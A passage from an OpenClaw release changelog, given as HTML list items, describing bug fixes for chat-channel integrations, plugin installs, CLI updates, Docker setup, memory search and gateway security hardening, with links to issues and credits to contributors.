<li>Discord/replies: treat failed final reply delivery as a failed turn instead of counting it as a delivered automatic visible reply, so guild/channel turns no longer show done when the final message was dropped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379472823" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77520" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77520/hovercard" href="https://github.com/openclaw/openclaw/issues/77520">#77520</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a>.</li>
<li>Discord: prefer IPv4 for Discord REST and gateway WebSocket startup paths so IPv4-only networks no longer stall before Gateway READY and inbound message dispatch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4377964492" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77398" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77398/hovercard" href="https://github.com/openclaw/openclaw/issues/77398">#77398</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379608404" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77526" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77526/hovercard" href="https://github.com/openclaw/openclaw/issues/77526">#77526</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Beandon13/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Beandon13">@Beandon13</a>.</li>
<li>Channels/plugins: key bundled package-state probes, env/config presence, and read-only command defaults by channel id instead of manifest plugin id, preserving setup and native-command detection for channel plugins whose package id differs from the channel alias. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Docker: prune package-excluded plugin dist directories from runtime images unless the build explicitly opts that plugin in, so official external plugins such as Feishu stay install-on-demand instead of shipping partial metadata without compiled runtime output. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378224775" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77424" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77424/hovercard" href="https://github.com/openclaw/openclaw/issues/77424">#77424</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Model switching: include the exact additive allowlist repair command when <code>/model ... --runtime ...</code> targets a blocked model, and make Telegram's model picker say that it changes only the session model while leaving the runtime unchanged. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Mattermost: clarify that the model picker only changes the session model and that runtime switches require <code>/oc_model &lt;provider/model&gt; --runtime &lt;runtime&gt;</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Doctor/config: keep active <code>auth.profiles</code> metadata intact when <code>doctor --fix</code> strips stale secret fields from configs, repairing legacy <code>&lt;provider&gt;:default</code> API-key profile metadata when model fallbacks or explicit <code>model@profile</code> refs still depend on it. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4377984968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77400" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77400/hovercard" href="https://github.com/openclaw/openclaw/issues/77400">#77400</a>.</li>
<li>Doctor/plugins: include <code>plugins.allow</code>-only official plugin ids in the release configured-plugin repair set, so <code>doctor --fix</code> installs official external plugins that are configured but not yet loaded instead of removing them as stale allow entries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4374471276" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77155" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77155/hovercard" href="https://github.com/openclaw/openclaw/issues/77155">#77155</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Doctor/sessions: clear auto-created stale session routing state from the sessions store when <code>doctor --fix</code> sees plugin-owned model/runtime/auth/session bindings outside the current configured route, while leaving explicit user model choices for manual review. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288418906" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68615" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68615/hovercard" href="https://github.com/openclaw/openclaw/issues/68615">#68615</a>.</li>
<li>CLI/update: disable and skip plugins that fail package-update plugin sync, so a broken npm/ClawHub/git/marketplace plugin cannot turn a successful OpenClaw package update into a failed update result. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/update: use an absolute POSIX npm script shell during package-manager updates, so restricted PATH environments can still run dependency lifecycle scripts while updating from <code>--tag main</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379671077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77530" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77530/hovercard" href="https://github.com/openclaw/openclaw/issues/77530">#77530</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PeterTremonti/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PeterTremonti">@PeterTremonti</a>.</li>
<li>Diagnostics: grant the internal diagnostics event bus to official installed diagnostics exporter plugins, so npm-installed <code>@openclaw/diagnostics-prometheus</code> can emit metrics without broadening the capability to arbitrary global plugins. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371535418" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76628" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76628/hovercard" href="https://github.com/openclaw/openclaw/issues/76628">#76628</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RayWoo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RayWoo">@RayWoo</a>.</li>
<li>Browser: enforce strict SSRF current-URL checks before existing-session screenshots, matching existing-session snapshot handling. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Active Memory: give timeout partial transcript recovery enough abort-settle headroom so temporary recall summaries are returned before cleanup. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/chat: clear the active reply-run guard before draining queued same-session follow-up turns, so sequential <code>chat.send</code> calls no longer trip <code>ReplyRunAlreadyActiveError</code> every other request. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379026753" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77485" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77485/hovercard" href="https://github.com/openclaw/openclaw/issues/77485">#77485</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bws14email/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bws14email">@bws14email</a>.</li>
<li>Agents/media: avoid sending generated image, video, and music attachments twice when streamed reply text arrives before the final <code>MEDIA:</code> directive.</li>
<li>CLI/sessions: cap <code>openclaw sessions</code> output to the newest 100 rows by default and add <code>--limit &lt;n|all&gt;</code> plus JSON pagination metadata, so repeated machine polling of large session stores cannot fan out into unbounded per-row enrichment/output work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379239968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77500" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77500/hovercard" href="https://github.com/openclaw/openclaw/issues/77500">#77500</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaotic3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaotic3">@Kaotic3</a>.</li>
<li>Doctor/config: restore legacy group chat config migrations for <code>routing.allowFrom</code>, <code>routing.groupChat.*</code>, and <code>channels.telegram.requireMention</code> so upgrades keep WhatsApp, Telegram, and iMessage group mention gates and history settings instead of leaving configs invalid or silently blocked. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scoootscooob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scoootscooob">@scoootscooob</a>.</li>
<li>CLI/update: make package-update follow-up processes write completion results and exit explicitly, so Windows packaged upgrades do not hang after the new package finishes post-core plugin work. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Release validation: skip Slack live QA unless Slack credentials are explicitly configured, so release gates can keep proving non-Slack surfaces while Slack is still local and credential-gated. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/update: treat OpenClaw CalVer correction versions like <code>2026.5.3-1</code> as satisfying base plugin API ranges, so correction builds can install plugins that require the base runtime API. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4376348978" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77293" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77293/hovercard" href="https://github.com/openclaw/openclaw/issues/77293">#77293</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378597699" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77450" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77450/hovercard" href="https://github.com/openclaw/openclaw/pull/77450">#77450</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/p3nchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/p3nchan">@p3nchan</a>.</li>
<li>Discord/Gateway startup: retry Discord READY waits with backoff, defer startup <code>sessions.list</code> and native approval readiness failures until sidecars recover, and preserve component-only Discord payloads when final reply scrubbing removes all text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378961577" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77478" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77478/hovercard" href="https://github.com/openclaw/openclaw/pull/77478">#77478</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NikolaFC/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NikolaFC">@NikolaFC</a>.</li>
<li>CLI/launcher: forward termination signals to compile-cache respawn children, so killing a wrapper process no longer leaves the security audit worker orphaned. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378715767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77458" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77458/hovercard" href="https://github.com/openclaw/openclaw/issues/77458">#77458</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jaikharbanda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jaikharbanda">@jaikharbanda</a>.</li>
<li>Plugins/registry: recover managed-npm external plugins from the owned npm root when a stale persisted registry would otherwise hide them after package-manager upgrades. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4376104443" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77266" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77266/hovercard" href="https://github.com/openclaw/openclaw/issues/77266">#77266</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/p3nchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/p3nchan">@p3nchan</a>.</li>
<li>fix(gateway): clamp unbound websocket auth scopes [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378170535" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77413" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77413/hovercard" href="https://github.com/openclaw/openclaw/pull/77413">#77413</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Gate zalouser startup name matching [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378152152" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77411" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77411/hovercard" href="https://github.com/openclaw/openclaw/pull/77411">#77411</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Active Memory: send a bounded latest-message search query to the recall worker so channel/runtime metadata does not become the memory search string. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4247741968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65309" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65309/hovercard" href="https://github.com/openclaw/openclaw/issues/65309">#65309</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joeykrug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joeykrug">@joeykrug</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/westley3601/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/westley3601">@westley3601</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pimenov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pimenov">@pimenov</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tasi333/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tasi333">@tasi333</a>.</li>
<li>fix(device-pair): require pairing scope for pair command [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370614193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76377" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76377/hovercard" href="https://github.com/openclaw/openclaw/pull/76377">#76377</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Providers/OpenRouter: keep DeepSeek V4 <code>reasoning_effort</code> on OpenRouter-supported values, mapping stale <code>max</code> thinking overrides to <code>xhigh</code> so <code>openrouter/deepseek/deepseek-v4-pro</code> no longer fails with OpenRouter's invalid-effort 400. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4377137286" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77350" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77350/hovercard" href="https://github.com/openclaw/openclaw/issues/77350">#77350</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378204338" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77423" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77423/hovercard" href="https://github.com/openclaw/openclaw/pull/77423">#77423</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/krllagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/krllagent">@krllagent</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</li>
<li>fix(qqbot): keep private commands off framework surface [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375172453" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77212" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77212/hovercard" href="https://github.com/openclaw/openclaw/pull/77212">#77212</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Claude CLI: honor non-off <code>/think</code> levels by passing Claude Code's session-scoped <code>--effort</code> flag through the CLI backend seam, so chat bridges no longer show an inert thinking control. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4376451827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77303" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77303/hovercard" href="https://github.com/openclaw/openclaw/issues/77303">#77303</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Petr1t/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Petr1t">@Petr1t</a>.</li>
<li>Agents/subagents: refresh deferred final-delivery payloads when same-session completion output changes, so retried parent notifications use the final child summary instead of stale progress text. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/media: route async music and video completion results back through the requester agent, preserving automatic replies while requiring the message tool only for message-tool-only group/channel delivery.</li>
<li>active-memory: skip the memory sub-agent gracefully instead of logging a confusing allowlist error when no memory plugin (<code>memory-core</code> or <code>memory-lancedb</code>) is loaded, so active-memory with no memory backend no longer produces misleading "No callable tools remain" warnings in the gateway log. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379314303" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77506" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77506/hovercard" href="https://github.com/openclaw/openclaw/issues/77506">#77506</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Memory/wiki: preserve representation from both corpora in <code>corpus=all</code> searches while backfilling unused result capacity, so memory hits are not starved by numerically higher wiki integer scores. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4377040368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77337" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77337/hovercard" href="https://github.com/openclaw/openclaw/issues/77337">#77337</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Docker/compose: pin container-side <code>OPENCLAW_CONFIG_DIR</code> and <code>OPENCLAW_WORKSPACE_DIR</code> on both gateway and CLI services so the host paths written into <code>.env</code> by <code>scripts/docker/setup.sh</code> (used as Compose bind-mount sources) cannot leak into runtime code via the <code>env_file</code> import. Fixes regressions on macOS Docker setups where the first agent reply died with <code>EACCES: permission denied, mkdir '/Users'</code> because the host-style workspace path got persisted into <code>agents.defaults.workspace</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378378867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77436" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77436/hovercard" href="https://github.com/openclaw/openclaw/issues/77436">#77436</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lonexreb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lonexreb">@lonexreb</a>.</li>
<li>Telegram: clean up tool-only draft previews after assistant message boundaries so transient <code>Surfacing...</code> tool-status bubbles do not linger when no matching final preview arrives. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Slack: report <code>unknown error</code> instead of <code>undefined</code> in socket-mode startup retry logs and label the retry reason explicitly.</li>
<li>Telegram: let explicit forum-topic <code>requireMention</code> settings override persisted <code>/activate</code> and <code>/deactivate</code> state, so per-topic mention gates work consistently. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4095745250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49864" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49864/hovercard" href="https://github.com/openclaw/openclaw/issues/49864">#49864</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Panniantong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Panniantong">@Panniantong</a>.</li>
<li>Cron: surface failed isolated-run diagnostics in <code>cron show</code>, status, and run history when requested tools are unavailable, so blocked cron runs report the actual tool-policy failure instead of a misleading green result. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365767696" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75763" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75763/hovercard" href="https://github.com/openclaw/openclaw/issues/75763">#75763</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RyanSandoval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RyanSandoval">@RyanSandoval</a>.</li>
<li>TUI/escape abort: track the in-flight runId after <code>chat.send</code> resolves so pressing Esc during the gap before the first gateway event aborts the run instead of repeatedly printing <code>no active run</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3832865940" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/1296" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/1296/hovercard" href="https://github.com/openclaw/openclaw/issues/1296">#1296</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lukavyi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lukavyi">@Lukavyi</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>TUI/render: stop the long-token sanitizer from injecting literal spaces inside inline code spans, fenced code blocks, table borders, and bare hyphenated/dotted identifiers, so copied package names, entity IDs, and shell line-continuations stay byte-for-byte intact while narrow-terminal protection still chunks unidentifiable long prose tokens. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4084135042" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48432" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48432/hovercard" href="https://github.com/openclaw/openclaw/issues/48432">#48432</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040518999" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39505" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39505/hovercard" href="https://github.com/openclaw/openclaw/issues/39505">#39505</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DocOellerson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DocOellerson">@DocOellerson</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xeusoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xeusoc">@xeusoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CCcassiusdjs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CCcassiusdjs">@CCcassiusdjs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akramcodez/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akramcodez">@akramcodez</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Plugin skills: publish plugin-declared skills through the generated plugin skills directory (<code>~/.openclaw/plugin-skills/</code>) while keeping direct prompt loading intact, so agent file-based discovery paths find plugin skill <code>SKILL.md</code> files and inactive plugin links are cleaned up. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4376387154" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77296" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77296/hovercard" href="https://github.com/openclaw/openclaw/issues/77296">#77296</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4376911387" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77328" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77328/hovercard" href="https://github.com/openclaw/openclaw/pull/77328">#77328</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Gateway/status: label Linux managed gateway services as <code>systemd user</code>, making status output explicit about the user-service scope instead of implying a system-level unit. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/install: remove the previous managed plugin directory when a reinstall switches sources, so stale ClawHub and npm copies no longer keep duplicate plugin ids in discovery after the new install wins. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/install: let official plugin reinstall recovery repair source-only installed runtime shadows, so <code>openclaw plugins install npm:@openclaw/discord --force</code> can replace the bad package instead of stopping at stale config validation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/update: stage pnpm-detected npm-layout global package updates through a clean npm prefix swap, keep plugin install runtime imports behind a stable alias, and ship legacy install-runtime aliases back to <code>2026.3.22</code>, preventing stale overlay chunks from breaking plugin post-update sync. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/commands: allow the official ClawHub Codex plugin package to keep reserved <code>/codex</code> command ownership, matching the existing npm-managed Codex package behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
